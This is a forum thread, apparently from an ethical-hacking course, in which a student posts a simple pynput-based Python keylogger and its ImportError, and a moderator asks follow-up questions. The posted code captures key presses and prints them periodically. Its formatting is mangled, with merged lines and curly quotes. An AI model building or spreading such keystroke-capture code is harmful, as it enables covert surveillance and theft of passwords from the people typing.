- This topic has 3 replies, 2 voices, and was last updated 4 years, 4 months ago by Diego Pérez.
- AuthorPosts
- July 18, 2020 at 7:21 pm #42616BornrichParticipant
I have python3, installed pynput and I’m getting error trying to run the keylogger.py code on my terminal.
Traceback (most recent call last):
File “zlogger.py”, line 2, in <module>
import keylogger
File “/root/PycharmProjects/Keylogger/keylogger.py”, line 2, in <module>
import pynput.keyboard
ImportError: No module named pynput.keyboard
KEYLOGGER CODE
#!/usr/bin/env python
import pynput.keyboard
import threadinglog = “”
class Keylogger:
def process_key_press(self, key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + ” ”
else:
log = log + ” ” + str(key) + ” ”def report(self):
global log
print(log)
log = “”
timer = threading.Timer(5, self.report)
timer.start()def start(self):
Keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()Zlogger Code
#!/usr/bin/env python
import keyloggermy_keylogger = keylogger.Keylogger()
my_keylogger.start()July 19, 2020 at 4:21 am #42633Diego PérezModeratorHi!
Did you also installed pynput for python3?
Let me know.
DiegoJuly 27, 2020 at 4:16 pm #43148BornrichParticipantYes, I did. I am stuck I have no idea what else to do.
July 28, 2020 at 4:19 am #43183Diego PérezModeratorHi!
How are you running the code? Can you share a screenshot of the command used and the result please?Thanks!
Diego - AuthorPosts
- You must be logged in to reply to this topic.